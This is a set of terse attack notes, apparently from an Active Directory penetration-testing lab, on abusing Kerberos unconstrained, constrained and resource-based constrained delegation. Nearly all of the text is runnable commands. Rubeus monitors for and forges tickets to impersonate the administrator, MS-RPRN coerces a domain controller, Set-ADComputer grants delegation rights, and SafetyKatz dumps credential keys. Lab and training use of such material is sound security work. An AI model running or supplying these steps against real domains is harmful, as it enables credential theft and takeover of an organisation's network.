Kerberos delegation based attacks

unconstrained delegation

PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
 
# get to the computer and start rubeus
PS> echo F | xcopy C:\AD\Tools\Rubeus.exe \\us-web\C$\Users\Public\Rubeus.exe /Y
PS> C:\Users\Public\Rubeus.exe monitor /targetuser:US-DC$ /interval:5 /nowrap
 
# get traffic towards that machine
PS> C:\AD\Tools\MS-RPRN.exe \\us-dc.us.techcorp.local \\us-web.us.techcorp.local

constrained delegation

Find out what which computers allow for delegation:

PS> Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
 
# msDS-AllowedToDelegateTo: service to abuse (msdsspn)
# distinguished name: user

Use s4u to become admin

PS> C:\AD\Tools\Rubeus.exe s4u /user:appsvc /aes256:b4cb0430da8176ec6eae2002dfa86a8c6742e5a88448f1c2d6afc3781e114335 /impersonateuser:administrator /msdsspn:CIFS/us-mssql.us.techcorp.local /altservice:HTTP /domain:us.techcorp.local /ptt

RBCD

This is possible with Generic Write:

# find interesting ACLs, e.g. GenericWrite
PS> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'mgmtadmin'}
 
# add RBCD for the user we have GenericWrite upon
PS> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS> Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
PS> Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
 
PS> $comps = 'student21$'
PS> Set-ADComputer -Identity us-helpdesk -PrincipalsAllowedToDelegateToAccount $comps -Verbose
 
# get key for student21$ (aes256_hmac)
PS> C:\AD\Tools\SafetyKatz.exe -Command "sekurlsa::keys" "exit"
 
# create a new session
PS> C:\AD\Tools\Rubeus.exe s4u /user:studentx21 /aes256:3845eac1016c33077d3619b3f931168db1343a223f3d7f9fc4424c77f8383578 /msdsspn:http/us-helpdesk /impersonateuser:administrator /ptt
PS> C:\AD\Tools\Rubeus.exe s4u /user:studentx21 /aes256:3845eac1016c33077d3619b3f931168db1343a223f3d7f9fc4424c77f8383578 /msdsspn:cifs/us-helpdesk /impersonateuser:administrator /ptt